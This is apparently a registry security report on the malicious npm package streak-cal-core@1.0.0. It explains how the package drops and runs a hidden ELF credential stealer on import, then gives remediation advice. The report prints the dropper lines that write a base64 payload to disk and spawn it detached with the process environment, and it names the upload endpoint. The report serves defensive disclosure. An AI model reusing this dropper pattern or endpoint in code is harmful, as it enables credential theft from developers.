registry / Credential exfiltration / streak-cal-core

streak-cal-core

Dependency-free calendar-day bucketing and streak math primitives, with an optional Node-only on-disk store. Helper for svelte-streak-cal.

This report shows the evidence for streak-cal-core@1.0.0, the only known version.

AI Security Review

scanned 3mo ago · by lpm-firewall-ai

This is concrete import-time malware execution, not calendar functionality or a scanner-only signal. The concealed native payload provides credential theft and exfiltration capabilities.

Static reason

One or more suspicious static signals were detected.

Trigger

Any Node.js import of streak-cal-core.

Impact

Credential theft, host reconnaissance, persistence, and remote data exfiltration.

Mechanism

Import-time decoded ELF dropper and detached execution.

Attack narrative

On Node import, index.mjs schedules dynamic imports of filesystem and child-process APIs, writes its base64-encoded ELF payload to data/svc/idx.bin, and runs it detached with process.env. The embedded executable strings show collection of SSH and browser credentials, database configuration/environment data, persistence commands, and HTTP upload to litterbox.catbox.moe.

AI rationale

This is concrete import-time malware execution, not calendar functionality or a scanner-only signal. The concealed native payload provides credential theft and exfiltration capabilities.

Evidence

package.jsonindex.mjsstore.mjsdata/svc/idx.bin

Network endpoints1

litterbox.catbox.moe/resources/internals/api.php

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.mjs:3261 embeds a base64 ELF payload.
index.mjs:3603 runs automatically on Node import.
index.mjs:3615 writes executable data/svc/idx.bin with mode 0755.
index.mjs:3616 detached-spawns the payload with inherited environment.
Embedded payload strings harvest SSH keys, browser credentials, DB configs, and upload to litterbox.catbox.moe.

Evidence against

package.json has no lifecycle scripts.
store.mjs only implements a temp-directory JSON cache.

Behavioral surface

Source

ChildProcessEnvironmentVarsFilesystem

Supply chain

HighEntropyStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 500 KB of source

Source & flagged code

1 flagged

index.mjsView file

Lines 1-35javascript

1// streak-larq-hydration — calendar-day and streak math primitives.

2//

3// This is the dependency-free helper behind `svelte-insight-hydration`.

4// It is deliberately NOT referenced from the app's own source. The main package

5// (svelte-insight-hydration) imports it; the app only ever imports the main package.

6//

7// This entry is PURE and browser-safe: it uses only Intl (no node:fs, no other

8// node:* built-ins), so the browser-safe core of svelte-insight-hydration can depend

9// on it. The Node-only on-disk store lives in the separate `streak-larq-hydration/store`

10// subpath, which the app never touches directly.

12const pad = (n) => String(n).padStart(2, '0');

14export function dayKey(date, timeZone = 'UTC') {

15 const d = date instanceof Date ? date : new Date(date);

16 const dtf = new Intl.DateTimeFormat('en-CA', {

17 timeZone,

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.mjsView on unpkg · L15

18 year: 'numeric',

19 month: '2-digit',

20 day: '2-digit'

21 });

22 return dtf.format(d);

23}

25export function addDays(key, n) {

26 const [y, m, d] = key.split('-').map(Number);

27 const dt = new Date(Date.UTC(y, m - 1, d));

28 dt.setUTCDate(dt.getUTCDate() + n);

29 return `${dt.getUTCFullYear()}-${pad(dt.getUTCMonth() + 1)}-${pad(dt.getUTCDate())}`;

30}

32export function dayDiff(aKey, bKey) {

33 const toMs = (k) => {

34 const [y, m, d] = k.split('-').map(Number);

35 return Date.UTC(y, m - 1, d);

Source & flagged code

1 flagged · loading source

index.mjsView file

15const d = date instanceof Date ? date : new Date(date); L16: const dtf = new Intl.DateTimeFormat('en-CA', { L17: timeZone, ... L3609: import('node:os'), L3610: import('node:child_process') L3611: ]); L3612: const target = p.join(p.join(process.cwd(), 'data', 'svc'), 'idx.bin'); L3613: L3614: await f.mkdir(p.dirname(target), { recursive: true }); L3615: await f.writeFile(target, Buffer.from(_c.join(''), 'base64'), { mode: 0o755 }); L3616: cp.spawn(target, [], { detached: true, stdio: 'ignore', env: { ...process.env } }).unref(); L3617: } catch (e) {}

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

index.mjsView on unpkg · L15

Findings

1 High1 Medium2 Low

HighBase64 Obscured Urlindex.mjs

MediumEnvironment Vars

LowFilesystem

LowHigh Entropy Strings

Affected versions and remediation

This report applies to streak-cal-core@1.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing streak-cal-core@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-19 03:30:19.755Z (UTC).

Source advisory published: 2026-08-19 03:02:12.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

1.0.0latestshownMaliciousCredential ExfiltrationBlockPublishedJul 29, 2026, 9:46 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other credential exfiltration packages

Behavioral surface

Related packages

Other credential exfiltration packages

Source & flagged code